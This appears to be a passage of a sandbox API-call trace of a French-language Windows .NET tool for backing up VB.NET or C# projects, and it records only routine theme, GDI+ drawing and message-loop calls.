[0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x2534de0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetFocus () returned 0x1019c [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] IsThemePartDefined () returned 0x1 [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] IsAppThemed () returned 0x1 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] GetThemeAppProperties () returned 0x3 [0235.493] IsThemePartDefined () returned 0x1 [0235.493] GdipCreateRegion (region=0x2be484) returned 0x0 [0235.493] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0235.493] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0235.493] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0235.493] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0235.493] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0235.493] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0235.493] LocalFree (hMem=0x5fd348) returned 0x0 [0235.493] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0235.494] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0235.494] LocalFree (hMem=0x5fd348) returned 0x0 [0235.494] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0235.494] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0235.494] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0235.494] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0235.494] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0235.494] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0235.494] GetCurrentObject (hdc=0x210106c4, type=0x1) returned 0x1b00017 [0235.494] GetCurrentObject (hdc=0x210106c4, type=0x2) returned 0x1900010 [0235.494] GetCurrentObject (hdc=0x210106c4, type=0x7) returned 0x210506ba [0235.494] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.494] SaveDC (hdc=0x210106c4) returned 1 [0235.494] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x50040789 [0235.494] GetClipRgn (hdc=0x210106c4, hrgn=0x50040789) returned 0 [0235.494] SelectClipRgn (hdc=0x210106c4, hrgn=0x550401eb) returned 2 [0235.494] DeleteObject (ho=0x50040789) returned 1 [0235.494] DeleteObject (ho=0x550401eb) returned 1 [0235.494] OffsetViewportOrgEx (in: hdc=0x210106c4, x=0, y=0, lppt=0x2535490 | out: lppt=0x2535490) returned 1 [0235.494] DrawThemeParentBackground () returned 0x0 [0235.494] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0235.494] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0235.494] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0235.494] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0235.494] GetSystemMetrics (nIndex=42) returned 0 [0235.494] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0235.494] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0235.495] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x1) returned 0x1b00017 [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x2) returned 0x1900010 [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x7) returned 0x210506ba [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.495] SaveDC (hdc=0x210106c4) returned 2 [0235.495] GetNearestColor (hdc=0x210106c4, color=0xf0f0f0) returned 0xf0f0f0 [0235.495] CreateSolidBrush (color=0xf0f0f0) returned 0x301006a2 [0235.495] FillRect (hDC=0x210106c4, lprc=0x2bdf94, hbr=0x301006a2) returned 1 [0235.495] DeleteObject (ho=0x301006a2) returned 1 [0235.495] RestoreDC (hdc=0x210106c4, nSavedDC=-1) returned 1 [0235.495] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0235.495] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0235.495] GetSystemMetrics (nIndex=42) returned 0 [0235.495] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0235.495] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0235.495] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x1) returned 0x1b00017 [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x2) returned 0x1900010 [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x7) returned 0x210506ba [0235.495] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.495] SaveDC (hdc=0x210106c4) returned 2 [0235.495] GetNearestColor (hdc=0x210106c4, color=0xf0f0f0) returned 0xf0f0f0 [0235.495] CreateSolidBrush (color=0xf0f0f0) returned 0x311006a2 [0235.495] FillRect (hDC=0x210106c4, lprc=0x2bdf34, hbr=0x311006a2) returned 1 [0235.495] DeleteObject (ho=0x311006a2) returned 1 [0235.496] RestoreDC (hdc=0x210106c4, nSavedDC=-1) returned 1 [0235.496] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0235.496] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0235.496] GetSystemMetrics (nIndex=42) returned 0 [0235.496] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0235.496] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0235.496] RestoreDC (hdc=0x210106c4, nSavedDC=-1) returned 1 [0235.496] GdipReleaseDC (graphics=0x4ae5320, hdc=0x210106c4) returned 0x0 [0235.496] IsAppThemed () returned 0x1 [0235.496] GetThemeAppProperties () returned 0x3 [0235.496] GetThemeAppProperties () returned 0x3 [0235.496] IsAppThemed () returned 0x1 [0235.496] GetThemeAppProperties () returned 0x3 [0235.496] GetThemeAppProperties () returned 0x3 [0235.496] IsThemePartDefined () returned 0x1 [0235.496] GdipCreateRegion (region=0x2be428) returned 0x0 [0235.496] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0235.496] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0235.496] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0235.496] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0235.496] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0235.496] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0235.496] LocalFree (hMem=0x5fd348) returned 0x0 [0235.496] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0235.496] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0235.496] LocalFree (hMem=0x5fd348) returned 0x0 [0235.496] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0235.496] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0235.496] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0235.496] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0235.496] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0235.496] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0235.497] GetCurrentObject (hdc=0x210106c4, type=0x1) returned 0x1b00017 [0235.497] GetCurrentObject (hdc=0x210106c4, type=0x2) returned 0x1900010 [0235.497] GetCurrentObject (hdc=0x210106c4, type=0x7) returned 0x210506ba [0235.497] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.497] SaveDC (hdc=0x210106c4) returned 1 [0235.497] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x560401eb [0235.497] GetClipRgn (hdc=0x210106c4, hrgn=0x560401eb) returned 0 [0235.497] SelectClipRgn (hdc=0x210106c4, hrgn=0x52040789) returned 2 [0235.497] DeleteObject (ho=0x560401eb) returned 1 [0235.497] DeleteObject (ho=0x52040789) returned 1 [0235.497] OffsetViewportOrgEx (in: hdc=0x210106c4, x=0, y=0, lppt=0x2535ec8 | out: lppt=0x2535ec8) returned 1 [0235.497] IsAppThemed () returned 0x1 [0235.497] GetThemeAppProperties () returned 0x3 [0235.497] GetThemeAppProperties () returned 0x3 [0235.497] DrawThemeBackground () returned 0x0 [0235.497] RestoreDC (hdc=0x210106c4, nSavedDC=-1) returned 1 [0235.497] GdipReleaseDC (graphics=0x4ae5320, hdc=0x210106c4) returned 0x0 [0235.497] GdipCreateRegion (region=0x2be410) returned 0x0 [0235.497] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0235.497] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0235.497] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0235.497] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0235.497] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0235.497] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0235.497] LocalFree (hMem=0x5fd348) returned 0x0 [0235.497] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0235.497] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0235.497] LocalFree (hMem=0x5fd348) returned 0x0 [0235.497] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0235.497] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0235.498] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0235.498] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0235.498] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0235.498] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x1) returned 0x1b00017 [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x2) returned 0x1900010 [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x7) returned 0x210506ba [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.498] SaveDC (hdc=0x210106c4) returned 1 [0235.498] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x53040789 [0235.498] GetClipRgn (hdc=0x210106c4, hrgn=0x53040789) returned 0 [0235.498] SelectClipRgn (hdc=0x210106c4, hrgn=0x570401eb) returned 2 [0235.498] DeleteObject (ho=0x53040789) returned 1 [0235.498] DeleteObject (ho=0x570401eb) returned 1 [0235.498] OffsetViewportOrgEx (in: hdc=0x210106c4, x=0, y=0, lppt=0x253619c | out: lppt=0x253619c) returned 1 [0235.498] IsAppThemed () returned 0x1 [0235.498] GetThemeAppProperties () returned 0x3 [0235.498] GetThemeAppProperties () returned 0x3 [0235.498] GetThemeBackgroundContentRect () returned 0x0 [0235.498] RestoreDC (hdc=0x210106c4, nSavedDC=-1) returned 1 [0235.498] GdipReleaseDC (graphics=0x4ae5320, hdc=0x210106c4) returned 0x0 [0235.498] IsAppThemed () returned 0x1 [0235.498] GetThemeAppProperties () returned 0x3 [0235.498] GetThemeAppProperties () returned 0x3 [0235.498] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0235.498] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x1) returned 0x1b00017 [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x2) returned 0x1900010 [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x7) returned 0x210506ba [0235.498] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.498] SaveDC (hdc=0x210106c4) returned 1 [0235.499] GetTextAlign (hdc=0x210106c4) returned 0x0 [0235.499] GetTextColor (hdc=0x210106c4) returned 0x0 [0235.499] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.499] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0235.499] SelectObject (hdc=0x210106c4, h=0x90a01e9) returned 0x18a002e [0235.499] GetBkMode (hdc=0x210106c4) returned 2 [0235.499] SetBkMode (hdc=0x210106c4, mode=1) returned 2 [0235.499] DrawTextExW (in: hdc=0x210106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x2536530 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0235.499] DrawTextExW (in: hdc=0x210106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x2536530 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0235.499] RestoreDC (hdc=0x210106c4, nSavedDC=-1) returned 1 [0235.499] GdipReleaseDC (graphics=0x4ae5320, hdc=0x210106c4) returned 0x0 [0235.499] GetFocus () returned 0x1019c [0235.499] IsAppThemed () returned 0x1 [0235.499] GetThemeAppProperties () returned 0x3 [0235.499] GetThemeAppProperties () returned 0x3 [0235.499] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0235.499] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x210106c4, x1=0, y1=0, rop=0xcc0020) returned 1 [0235.500] GdipReleaseDC (graphics=0x4ae5320, hdc=0x210106c4) returned 0x0 [0235.500] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0235.500] SelectObject (hdc=0x210106c4, h=0x185000f) returned 0x210506ba [0235.500] DeleteDC (hdc=0x210106c4) returned 1 [0235.500] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0235.500] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0235.500] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0235.500] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0235.500] WaitMessage () returned 1 [0235.586] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.586] IsWindowUnicode (hWnd=0x20152) returned 1 [0235.586] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.586] TranslateMessage (lpMsg=0x2bec18) returned 0 [0235.586] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0235.586] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0235.586] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0235.586] WaitMessage () returned 1 [0235.789] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.789] IsWindowUnicode (hWnd=0x1019e) returned 1 [0235.789] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.789] TranslateMessage (lpMsg=0x2bec18) returned 0 [0235.789] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0235.789] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0235.789] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0235.789] WaitMessage () returned 1 [0236.631] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0236.631] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0236.715] IsWindowUnicode (hWnd=0x1019c) returned 1 [0236.715] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0236.715] GetKeyState (nVirtKey=16) returned 0 [0236.715] GetKeyState (nVirtKey=17) returned 0 [0236.715] GetKeyState (nVirtKey=18) returned -128 [0236.715] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0236.715] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0236.715] GetKeyState (nVirtKey=16) returned 0 [0236.715] GetKeyState (nVirtKey=17) returned 0 [0236.715] GetKeyState (nVirtKey=18) returned -128 [0236.715] TranslateMessage (lpMsg=0x2bec18) returned 1 [0236.715] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0236.715] GetKeyState (nVirtKey=16) returned 0 [0236.715] GetKeyState (nVirtKey=17) returned 0 [0236.715] GetKeyState (nVirtKey=18) returned -128 [0236.715] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0236.715] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0236.716] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0236.767] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0236.767] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0236.767] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0236.767] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0236.768] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0236.768] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0236.769] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0236.780] NtdllDefWindowProc_W () returned 0x0 [0236.780] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0236.780] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0236.780] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0236.780] GetCapture () returned 0x0 [0236.780] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0236.780] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0236.781] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0236.781] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0236.781] IsWindowUnicode (hWnd=0x1019c) returned 1 [0236.781] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0236.781] TranslateMessage (lpMsg=0x2bec18) returned 0 [0236.781] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0236.781] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x60106b7 [0236.781] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0236.781] CreateCompatibleDC (hdc=0x60106b7) returned 0x2f0106c4 [0236.781] SelectObject (hdc=0x2f0106c4, h=0x210506ba) returned 0x185000f [0236.781] GdipCreateFromHDC (hdc=0x2f0106c4, graphics=0x2be714) returned 0x0 [0236.781] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0236.781] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0236.781] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0236.781] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0236.781] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0236.781] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0236.781] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0236.781] LocalFree (hMem=0x5fd348) returned 0x0 [0236.781] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0236.781] GdipCreateRegion (region=0x2be75c) returned 0x0 [0236.781] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0236.781] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0236.781] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0236.781] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd970dbd) returned 0x0 [0236.782] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0236.782] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0236.782] GetCurrentObject (hdc=0x2f0106c4, type=0x1) returned 0x1b00017 [0236.782] GetCurrentObject (hdc=0x2f0106c4, type=0x2) returned 0x1900010 [0236.782] GetCurrentObject (hdc=0x2f0106c4, type=0x7) returned 0x210506ba [0236.782] GetCurrentObject (hdc=0x2f0106c4, type=0x6) returned 0x18a002e [0236.782] SaveDC (hdc=0x2f0106c4) returned 1 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0xf0f0f0) returned 0xf0f0f0 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0xa0a0a0) returned 0xa0a0a0 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0x696969) returned 0x696969 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0xa0a0a0) returned 0xa0a0a0 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0x0) returned 0x0 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0xffffff) returned 0xffffff [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0xe5e5e5) returned 0xe5e5e5 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0xd7d7d7) returned 0xd7d7d7 [0236.782] GetNearestColor (hdc=0x2f0106c4, color=0x0) returned 0x0 [0236.782] RestoreDC (hdc=0x2f0106c4, nSavedDC=-1) returned 1 [0236.782] GdipReleaseDC (graphics=0x4ae5320, hdc=0x2f0106c4) returned 0x0 [0236.782] IsAppThemed () returned 0x1 [0236.782] GetThemeAppProperties () returned 0x3 [0236.782] GetThemeAppProperties () returned 0x3 [0236.782] IsAppThemed () returned 0x1 [0236.782] GetThemeAppProperties () returned 0x3 [0236.782] GetThemeAppProperties () returned 0x3 [0236.782] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x2611c78 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0236.783] IsAppThemed () returned 0x1 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] IsAppThemed () returned 0x1 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetFocus () returned 0x0 [0236.783] IsAppThemed () returned 0x1 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] IsAppThemed () returned 0x1 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] IsThemePartDefined () returned 0x1 [0236.783] IsAppThemed () returned 0x1 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0236.783] IsAppThemed () returned 0x1 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] IsAppThemed () returned 0x1 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] GetThemeAppProperties () returned 0x3 [0236.783] IsThemePartDefined () returned 0x1 [0236.783] GdipCreateRegion (region=0x2be484) returned 0x0 [0236.783] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0236.783] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0236.783] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0236.783] GdipIsMatrixIdentity 